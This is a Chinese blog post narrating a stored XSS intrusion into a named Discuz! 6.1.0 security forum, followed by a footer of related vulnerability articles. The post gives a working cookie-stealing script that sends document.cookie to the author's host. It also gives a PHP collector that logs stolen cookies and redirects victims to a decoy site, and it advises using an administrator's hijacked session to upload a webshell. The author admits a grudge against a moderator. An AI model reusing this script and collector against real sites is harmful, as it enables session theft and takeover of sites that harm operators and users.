利用XSS渗透DISCUZ 6.1.0实战
我要评论网上关于XSS入侵网站的例子很多，但是大多都是一些恶作剧性质的介绍.下面本人来亲自介绍下利用脚本入侵国内某安全论坛的过程
就像主题所说一样，今天测试的论坛是DISCUZ！ 6.1.0
目标：卡巴技术论坛 http://kpchina.net http://bbs.kpchina.net
工具：无（感觉本人的入侵方式不是很高级，低调，所以不用工具，需要的东西自己写，都是脚本哦~！o(∩_∩)o...）
下面开始入侵：
XSS(Cross Site Scripting)攻击，想要获得权限就要找漏洞，大家都是知道，DISCUZ！ 6.1.0 论坛有XSS漏洞，这是前人的经验，我不邀功
很多人只是知道有XSS漏洞可以加个alert之类的标记，但是都属于恶作剧的范畴，实用战术才是抓住入侵的关键，让那些大意的编程人员和系统管理员能够提高安全意识。真正具有威胁性的XSS攻击方式就是那就是网上提到的窃取Cookie，Cookie是保存在本机临时目录，记录本机帐户登录网站的帐户信息，窃取它，并不能看到被窃取人的帐号和密码，有人会问，那有什么用，我们要的只是Cookie文件，只要把具有相应网站权限帐号的Cookie拷贝到入侵者自己机器的临时目录下，覆盖刷新那个网站，就能自动登录进去，获得其站点权限。
上面说的是思路，下面说下如何活动卡巴论坛的管理权限
要获得卡巴技术论坛的管理员帐号的Cookie，就要在论坛里注入获得帐号Cookie的js脚本，将Cookie以post方式提交给入侵者
如图：
论坛——>入侵者布置的跨站攻击——>转移被入侵这视线（隐蔽）
论坛插入脚本：
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);
但是我不一样，因为他需要诱导人去点击他的链接，但是现在人不是傻子，不会轻易点你的链接。而我是要把脚步插入论坛页面中，这样既隐蔽又省去了诱导的力气
我插入的脚本如下：
<script language="JavaScript"> window.location.href="http://www.****.cn/upload_files/reg.php?var"+document.cookie; </script>
**********************************************************************************************
跨站攻击脚本：
reg.php
<?php
if (isset($_GET['var'])) {
file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}
?>
<script language="JavaScript"> window.location.href="http://www.ccXv.com"; </script> //转移页面隐蔽上面记录cookie的操作
************************************************************************************
剩下的步骤就是等着鱼自己上钩了
当管理员帐号点入论坛某个页面时，这个页面却被转到了某新闻网站，其实不知，他的cookie已经被记录
拿这个cookie登录论坛，（删东西不推荐哦~~），可以临时开启上传php文件，例如phpwebshell，然后再关闭，这样你就可以很轻松的操控整个论坛站点
为什么选择此论坛做入侵讲解，很简单，这个论坛具备了多个漏洞：
一、论坛有XSS漏洞，没有对输入输出做过滤
二、论坛采用cookie方式记录用户信息
三、对论坛上某个版主看不惯，有点权利乱封号，不过，毕竟论坛不是那个人的，还是对管理员手下留情吧（做人要厚道！）
相关文章
2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)
Windows系列服务器于2019年5月15号，被爆出高危漏洞，windows2003、windows2008、windows2008 R2、windows xp系统都会遭到攻击，该服务器漏洞利用方式是通过远程桌面端口332021-07-25
宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析
这篇文章主要介绍了宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma,本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值，需要的朋友可以参考下2020-08-24
CPU幽灵和熔断漏洞是什么？Intel为大家简单易懂的科普了一番
不久前让整全行业紧张、全球用户恐慌的Spectre幽灵、Meltdown熔断两大漏洞事件刚刚告一段落了，那么这两个漏洞到底是什么？可能还有很多人不是很清楚，想了解的朋友跟着小2018-03-21
2017年5月12日，WannaCry蠕虫通过MS17-010漏洞在全球范围大爆发，感染了大量的计算机，该蠕虫感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密，本文对其2017-05-17- 大部分的用户可能不要了解文件上传漏洞，下面小编就为大家具体的讲解什么事文件上传漏洞以及文件上传漏洞的几种方式2016-11-02
- 漏洞检测工具用语有高危漏洞，中危漏洞，低危漏洞以及漏洞的危害介绍，本文介绍的非常详细，具有参考解决价值，感兴趣的朋友一起看看吧2016-10-11
- 漏洞无处不在，它是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统2016-09-29
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击，不仅仅有网站挂马式钓鱼，也有鱼叉式邮件钓鱼，下面小编就为大家介绍office漏洞CVE-2012-0158，一起来看看吧2016-09-28- SSL(安全套接字层)逐渐被大家所重视，但是最不能忽视的也是SSL得漏洞，随着SSL技术的发展，新的漏洞也就出现了，下面小编就为大家介绍简单七步教你如何解决关键SSL安全问题2016-09-23
- 在爬虫开发中，大家可以很轻易地 bypass 所谓的 UA 限制，甚至用 scrapy 框架轻易实现按照深度进行爬行。但是实际上，这些并不够。关于爬虫的基础知识比如数据处理与数据存2016-09-12
最新评论